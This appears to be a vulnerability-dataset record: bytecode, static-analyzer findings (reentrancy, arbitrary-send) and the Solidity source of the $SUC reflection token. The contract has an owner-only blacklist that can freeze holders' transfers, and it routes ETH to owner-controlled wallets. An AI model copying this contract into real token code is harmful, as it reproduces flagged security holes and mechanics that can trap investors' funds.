26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db52a11bf2c039e3c76ee1691423d60ef37cfb73c8047903b01357bc92f94e6364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,414
0x97f137d2450ddc6675835d925e5ce07a8a16906b
/**Space Universe Capital ($SUC) Telegram : https://t.me/SpaceUniverseCapital ____ .-'""p 8o""`-. .-'8888P'Y.`Y[ ' `-. ,']88888b.J8oo_ '`. ,' ,88888888888[" Y`. / 8888888888P Y8\ / Y8888888P' ]88\ : `Y88' P `888: : Y8.oP '- > Y88: | `Yb __ `'| : `'d8888bo. : : d88888888ooo. ; \ Y88888888888P / \ `Y88888888P / `. d88888P' ,' `. 888PP' ,' `-. d8P' ,-' `-.,,_'__,,.-' ███████ ██ ██ ██████ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ███████ ██████ ██████ > Anti-bot buy limit that increases automaticly **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract SpaceUniverseCapital is Context, IERC20, Ownable { string private constant _name = unicode"SpaceUniverseCapital"; string private constant _symbol = "SUC"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 ethToOwner); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 10; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 5) maxTx = 20; //20% if (buyCounter == 20) maxTx = 30; //30% if (buyCounter == 30) { maxTx = 1000; //10% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 balance = c.balance / 5; sendETHToFee(balance*4); sendETHToOwner(balance); emit SwapAndLiquify(contractTokenBalance, balance*4, balance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function sendETHToOwner(uint256 ETHamount) private { payable(owner()).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 5; // 5% Hello you bots IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061389b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613488565b6103f6565b6040516101629190613880565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906139bd565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613435565b610423565b6040516101ca9190613880565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061339b565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613a69565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061339b565b61061e565b60405161027291906139bd565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b491906137b2565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061389b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613488565b6108c2565b60405161031c9190613880565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906134c8565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906133f5565b6110d2565b6040516103b091906139bd565b60405180910390f35b60606040518060400160405280601481526020017f5370616365556e6976657273654361706974616c000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613c0b565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567906138fd565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611caf565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1b565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906138fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5355430000000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906138fd565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613df6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613d1e565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d82565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906138fd565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b219061397d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906133c8565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906133c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906137cd565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906133c8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f539695949392919061381f565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa5919061353e565b5050506005601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906137f6565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613511565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061395d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906138dd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f91906139bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113939061393d565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d69061391d565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611fbd565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611bd5576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff